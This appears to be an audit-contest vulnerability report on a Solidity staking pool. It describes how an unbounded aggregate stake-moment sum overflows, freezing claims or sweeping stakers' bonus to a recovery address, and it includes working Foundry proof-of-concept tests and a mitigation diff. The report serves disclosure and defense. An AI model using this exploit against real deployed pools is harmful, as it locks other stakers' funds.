FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Unbounded aggregate `Σ(a·t²)` lets one accepted stake permanently brick every claim path or divert the entire bonus pot to `recoveryAddress`

Author Revealed upon completion

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

**Affected functions:** `stake`, `_markRiskWindowStart`, `_clampUserSums`, `_bonusShare`, `claimSurvived`, `claimCorrupted`, `claimExpired`, `flagOutcome`, `sweepUnclaimedBonus`
**Affected actors:** Every eligible staker in an affected pool; the pool's entire bonus balance
### Description
`stake()` bounds only an individual deposit's own second moment (`received * t_stake²`) at deposit time. No aggregate bound is ever enforced on `Σ(a·t²)`. The pool's k=2 bonus score `amount * (T - effectiveEntryTime)^2` is reconstructed in O(1) at two later sites, each of which adds large positive absolute-time terms before the cancellation subtraction. Either addition can overflow independently of the original deposit's own bound.
```solidity
// stake() -- src/ConfidencePool.sol:252-260
uint256 contribTimeSq = received * newEntry * newEntry; // @> only this term is checked
totalEligibleStake += received;
sumStakeTimeSq += contribTimeSq;
// _markRiskWindowStart() -- src/ConfidencePool.sol:801-816
// called from _observePoolState() with no try/catch
sumStakeTimeSq = totalEligibleStake * t * t; // @> recomputed at a LATER, larger t
// _bonusShare() -- src/ConfidencePool.sol:696-719
uint256 plus = // @> shared addition, can overflow for
T * T * snapshotTotalStaked + snapshotSumStakeTimeSq; // every claimant, even one
// whose own term is safe
```
Let `M = type(uint256).max` and `S` be aggregate eligible stake. A stake is admitted whenever `S·t² <= M` at the timestamp it is staked. Two independent failure modes follow from that unchecked aggregate.
- **Path A: claim-time overflow.** At settlement, `_bonusShare()` computes `T²·S + Σ(amount·entry²)`, roughly `2·S·t²` when `T ≈ t`. When `M/(2·t²) < S <= M/t²`, this shared global term overflows for every claimant, including a victim whose own position is individually safe. The overflow happens in the positive intermediate before the cancellation subtraction can run. `Math.mulDiv()` does not help; it only runs after the addition has panicked. Every `SURVIVED`, `CORRUPTED`, or `EXPIRED` claim reverts and stays reverted. No alternate exit exists: `withdraw()` is closed post-risk, and `sweepUnclaimedBonus()` reserves rather than releases outstanding principal.
- **Path B: observation-time overflow.** `_markRiskWindowStart()` recomputes `totalEligibleStake · t²` from scratch at whatever timestamp `t` active risk is first observed. That timestamp can be later than any individual deposit's own timestamp. A stake sized close to the admission boundary at `t0` makes this later single-term multiplication overflow at `t1 > t0`. `_observePoolState()` has no error handling around the call, so the revert propagates out of every gated entrypoint (`pokeRiskWindow`, `stake`, `contributeBonus`, `withdraw`, `setPoolScope`, `flagOutcome`, `claimExpired`). The window never seals. `riskWindowStart` stays permanently `0`. Two terminal subcases follow, depending on whether the registry later escapes to a terminal state before pool `expiry`.
- **B1: registry escapes to terminal state before expiry.** `_observePoolState()` succeeds thereafter (no longer hits the active-risk overflow), and `flagOutcome` accepts the terminal-state outcome. `_bonusShare` short-circuits to zero because `riskWindowStart == 0`, so stakers claim principal only. `sweepUnclaimedBonus()` sends the entire bonus pot to `recoveryAddress`, value that should have gone to the stakers who bore the real risk. A pool that actually experienced `UNDER_ATTACK` is recorded identically to one that observed no risk.
- **B2: registry stays stuck in an active-risk state through expiry.** `flagOutcome` reverts because its state check requires a terminal registry state that is unreachable. `claimExpired` reverts because its internal `_observePoolState → _markRiskWindowStart` re-hits the same overflow. `withdraw` was closed on the first active-risk observation. Every principal-bearing exit is closed simultaneously. Principal locks with the same permanence as Path A.
`_bonusShare()` returns early only when `snapshotTotalBonus == 0`. `contributeBonus()` is permissionless with no minimum, so one raw unit of bonus is enough to route every claim through the vulnerable path.
### Invariant violated
An accepted stake must remain arithmetically representable through every required claim. An observed active-risk period must not be recorded identically to a period where no risk occurred. One user's accepted position must not make another user's principal unclaimable (Path A, Path B2) or another user's earned bonus disappear to `recoveryAddress` (Path B1).
### Attack path
1. Factory owner allowlists a standard ERC-20 with unusually high raw precision. The PoC uses a 60-decimal OpenZeppelin ERC-20 with no fee, rebase, or callback behavior.
2. A staker deposits an amount whose own second moment fits `uint256` at deposit time, sized close to `M / t²`.
3. **Path A:** the risk window is already sealed before the stake. The deposit itself passes. At settlement (`SURVIVED`, `CORRUPTED`, or `EXPIRED`) the shared `plus` term overflows for every claimant, including an independent victim with an individually safe position. Every claim reverts with panic `0x11` and stays reverted.
4. **Path B:** the stake happens before the risk window opens. Time advances within the pool's term before anyone triggers observation. `_markRiskWindowStart()`'s later, larger-`t` recomputation overflows, so `pokeRiskWindow()` and every other gated entrypoint reverts. `riskWindowStart` never seals. Terminal impact depends on whether the registry later escapes (B1: bonus diverted, principal recoverable) or stays stuck through expiry (B2: every principal-bearing exit closed, principal locked).
Both paths need only ordinary public calls (`stake`, `contributeBonus`, `pokeRiskWindow`) after one documented factory-allowlist action. No malicious registry state, moderator compromise, or nonstandard token behavior is required.
### Why this is not an accepted DESIGN.md behavior
DESIGN.md accepts several behaviors: deposits during `UNDER_ATTACK` self-locking into the resolution path, the expanded moment formula as an O(1) equivalent of the per-deposit score, an amount-weighted fallback when `globalScore == 0`, and a "no observed risk" rule (§5) that sweeps bonus when the registry skipped active-risk states.
It does not accept a state where the principal-returning claim path is arithmetically unreachable. Path A and Path B2 rewrite the intended amount-weighted fallback into an unreachable panic. It also does not accept §5's rule firing for a pool that did observe active risk but whose observation mechanism itself failed. Path B1 produces `riskWindowStart == 0`, the same on-chain signature as "no risk was ever seen," but the cause (the seal attempt reverting) is not something DESIGN.md contemplates.
The token is ERC-20 conforming; `decimals() == 60` changes only display metadata. The factory allowlist gate is a documented action with no numeric safety check behind it.

Risk

Likelihood:

~ Reachable once the factory allowlists a standard token whose legitimate raw balances can exceed roughly `M / (2·t²)`. High-precision tokens are uncommon and must first pass the trusted allowlist.
~ No malicious factory owner, fee/rebase/callback behavior, registry corruption, or moderator compromise is required.
~ ERC-20 does not cap decimals at 18. At `t ≈ 1.75e9`, the unsafe aggregate is `~2.836e58` raw units. That equals about `0.0284` tokens at 60 decimals, or `~2.836e40` tokens at 18 decimals. Conventional 18-decimal assets do not reach the condition.
~ Once a compatible token is admitted, any whale can cross the threshold. One raw bonus unit is enough to route claims through the vulnerable path.

Impact:

~ **Path A:** every outstanding principal-bearing `SURVIVED`, `CORRUPTED`, or `EXPIRED` claim in the pool reverts and stays reverted. That is not just the whale's own claim, but every independent staker's. `withdraw()` is closed post-risk and post-resolution. `sweepUnclaimedBonus()` reserves rather than releases the locked principal. Pool clones are non-upgradeable with no emergency exit; the lock is permanent.
~ **Path B1 (registry escapes to terminal state):** the pool does not lock. Every staker's earned risk bonus, which should have gone to them for bearing `UNDER_ATTACK` exposure, is instead swept to the sponsor-controlled `recoveryAddress`. This fires purely from time elapsing between an accepted stake and the first attempt to observe active risk. No claim-time overflow needs to occur.
~ **Path B2 (registry stuck active through expiry):** principal locks with the same permanence as Path A. `flagOutcome` needs a terminal registry state that is unreachable. `claimExpired`'s internal `_observePoolState` re-hits the same overflow. `withdraw` is closed post-risk. No principal-bearing exit exists.

Proof of Concept

The two overflow trigger sites are covered by separate executable tests, both run against unmodified `src/ConfidencePool.sol`:
| Path | Test file | Test | Coverage |
| --- | --- | --- | --- |
| **A — claim-time overflow** | `test/audit/CP003_IndependentReachability.t.sol` | `test_CP003_reachable_withRiskWindowSealed` | Picks `received` in the band where `_markRiskWindowStart` succeeds (`riskWindowStart != 0`), then shows `claimSurvived()` reverts with `Panic(0x11)`. |
| **B — observation-time overflow** | `test/audit/ConfidencePoolArithmeticBoundary.audit.t.sol` | `test_A_acceptedStakeErasesRiskObservationAndBonus` | B1 subcase: seal reverts, registry later escapes, bonus swept to `recoveryAddress` under the `riskWindowStart == 0` branch. |
| **B (principal-freeze subcase)** | `test/audit/ConfidencePoolArithmeticBoundary.audit.t.sol` | `test_A_principalFreeze_expireWhileAttackable` | B2 subcase: seal reverts, registry stays stuck through expiry, `flagOutcome`/`claimExpired` both revert, principal locked. |
| **B — boundary** | `test/audit/ConfidencePoolArithmeticBoundary.audit.t.sol` | `test_A_boundary_sameBlockPokeWorks_laterReverts`, `test_A_boundary_oneSecondLaterReverts` | Confirms the trigger sits exactly at `t_risk > t_stake`. |
| **Negative controls** | `test/audit/ConfidencePoolArithmeticBoundary.audit.t.sol` | `test_A_negativeControl_withoutGiantStake_bonusIsPaid`, `test_A_principalFreeze_negativeControl` | Aggregate stake below the boundary seals successfully and bonus pays. |
### Commands
``bash
# Path A (claim-time overflow):
forge test --match-path test/audit/CP003_IndependentReachability.t.sol -vvvv
# Path B (observation-time overflow, both B1 and B2 subcases plus boundaries + negative controls):
forge test --match-path test/audit/ConfidencePoolArithmeticBoundary.audit.t.sol -vvvv
``
``CP003_IndependentReachability.t.sol``
``solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, stdError} from "forge-std/Test.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract CP003IndependentReachability is BaseConfidencePoolTest {
function test_CP003_reachable_withRiskWindowSealed() external {
uint256 tRisk = BASE_TIMESTAMP + 1;
// Choose received so that received * tRisk^2 ~= 0.75 * 2^256:
// - markRiskWindowStart (totalEligibleStake * tRisk^2) < 2^256 -> SUCCEEDS, window seals
// - claim plus = received * (T^2 + tRisk^2) ~= 1.5 * 2^256 -> OVERFLOWS at claim
// stake() accepts because received * tStake^2 < received * tRisk^2 < 2^256.
uint256 received = (type(uint256).max / (tRisk * tRisk)) * 3 / 4;
_stakeRaw(attacker, received); // accepted at stake time
_contributeBonus(carol, 50 * ONE); // snapshotTotalBonus != 0 so _bonusShare does real math
// Risk materialises strictly after the deposit; poke seals the window WITHOUT overflow.
vm.warp(tRisk);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "window SEALED (CP-004 did NOT fire)");
// Terminal state, same block: T = riskWindowEnd = tRisk.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertGt(pool.riskWindowStart(), 0, "window still sealed at resolution");
// Despite the window being sealed, the k=2 claim math overflows -> valid claim reverts.
vm.prank(attacker);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
}
}
``
``ConfidencePoolArithmeticBoundary.audit.t.sol``
``solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, stdError} from "forge-std/Test.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
// stake() bounds received * t_stake^2 but nothing bounds totalEligibleStake * t_risk^2.
// Because t_risk > t_stake, an accepted large stake overflows _markRiskWindowStart at the
// first active-risk observation. Every seal path routes through _observePoolState so all
// entrypoints revert for the active-risk interval; on terminal escape, riskWindowStart stays
// 0 and _bonusShare short-circuits, sending the bonus pool to recoveryAddress.
contract ConfidencePoolArithmeticBoundaryAudit is BaseConfidencePoolTest {
// Largest single deposit accepted at t_stake = BASE_TIMESTAMP, leaving otherTerm headroom.
function _giantAcceptedStake(uint256 otherTerm) internal pure returns (uint256) {
return (type(uint256).max - otherTerm) / (BASE_TIMESTAMP * BASE_TIMESTAMP);
}
function test_A_acceptedStakeErasesRiskObservationAndBonus() external {
uint256 aliceTerm = (100 * ONE) * BASE_TIMESTAMP * BASE_TIMESTAMP;
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
uint256 giant = _giantAcceptedStake(aliceTerm);
_stakeRaw(attacker, giant);
assertEq(pool.eligibleStake(attacker), giant, "attacker stake accepted");
vm.warp(BASE_TIMESTAMP + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "risk window could not seal");
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.withdraw();
token.mint(dave, 1 * ONE);
vm.startPrank(dave);
token.approve(address(pool), 1 * ONE);
vm.expectRevert(stdError.arithmeticError);
pool.stake(1 * ONE);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.riskWindowStart(), 0, "risk window permanently unsealed post-terminal");
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, 100 * ONE, "alice: principal only, no bonus");
vm.prank(attacker);
pool.claimSurvived();
assertEq(token.balanceOf(attacker), giant, "attacker recovers principal, self-cost 0");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, 50 * ONE, "full bonus swept to recovery");
}
function test_A_negativeControl_withoutGiantStake_bonusIsPaid() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
vm.warp(BASE_TIMESTAMP + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "control: window seals normally");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, 150 * ONE, "control: principal + full bonus");
}
// Same-block observation succeeds because t == t_stake; the trigger requires t_risk > t_stake.
function test_A_boundary_sameBlockPokeWorks_laterReverts() external {
uint256 giant = _giantAcceptedStake(0);
_stakeRaw(attacker, giant);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "same-block seal succeeds at t == t_stake");
}
function test_A_boundary_oneSecondLaterReverts() external {
uint256 giant = _giantAcceptedStake(0);
_stakeRaw(attacker, giant);
vm.warp(BASE_TIMESTAMP + 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
}
// Registry stays active through expiry: claimExpired and flagOutcome both route through
// _observePoolState and revert, and withdraw is disabled. No principal-bearing exit exists.
function test_A_principalFreeze_expireWhileAttackable() external {
uint256 aliceTerm = (100 * ONE) * BASE_TIMESTAMP * BASE_TIMESTAMP;
_stake(alice, 100 * ONE);
uint256 giant = _giantAcceptedStake(aliceTerm);
_stakeRaw(attacker, giant);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(uint256(pool.expiry()) + 1);
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimExpired();
vm.prank(moderator);
vm.expectRevert(stdError.arithmeticError);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.withdraw();
assertEq(pool.eligibleStake(alice), 100 * ONE, "principal frozen, no resolution path");
assertEq(token.balanceOf(alice), 0, "alice cannot recover principal");
}
function test_A_principalFreeze_negativeControl() external {
_stake(alice, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(uint256(pool.expiry()) + 1);
vm.prank(alice);
pool.claimExpired();
assertEq(token.balanceOf(alice), 100 * ONE, "control: EXPIRED returns principal");
}
}``

Recommended Mitigation

Enforce a raw aggregate-stake capacity before persisting a newly received stake. Every deposit and
terminal timestamp is bounded by `expiry`, so the following conservative limit keeps all current
positive/negative moment intermediates representable in both `_bonusShare()` and
`_markRiskWindowStart()`:
``text
totalEligibleStake <= type(uint256).max / (2 * uint256(expiry)^2)
``
```diff
contract ConfidencePool is ... {
+ error ScoreCapacityExceeded();
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// Existing transfer and received-amount calculation.
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
+ uint256 maxAggregateStake = type(uint256).max / (2 * uint256(expiry) * uint256(expiry));
+ if (totalEligibleStake > maxAggregateStake || received > maxAggregateStake - totalEligibleStake) {
+ revert ScoreCapacityExceeded();
+ }
+
_clampUserSums(msg.sender);
// Existing moment and stake updates.
}
}
```
A per-deposit bound is insufficient — several individually safe deposits can overflow the shared
global expression (Path A), and a single deposit safe at its own timestamp can still overflow a
later observation made at a larger timestamp (Path B). The check must be aggregate and must run
before any moment is persisted. Limiting decimals alone does not help (a low-decimal token can
still have a large raw supply), and patching only the final `Math.mulDiv()` does not help (both
panics occur in the checked additions that precede it). A more thorough redesign would store
moments relative to a small epoch (e.g. `riskWindowStart`) instead of absolute Unix time, with an
explicit aggregate bound retained regardless.
### Regression properties
~ Aggregate stake exactly at the documented capacity completes both `SURVIVED` and `EXPIRED` claims
without overflow when bonus is nonzero; one raw unit above it reverts atomically at `stake()`
before any principal or moment is persisted.
~ Multiple individually-safe deposits cannot cross the aggregate bound in combination.
~ `pokeRiskWindow()` successfully seals the risk window at any timestamp up to `expiry` for a stake
accepted at the documented maximum aggregate, and the resulting bonus routes to stakers, not to
`recoveryAddress`.
~ Minimum and maximum supported `expiry` values remain covered.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!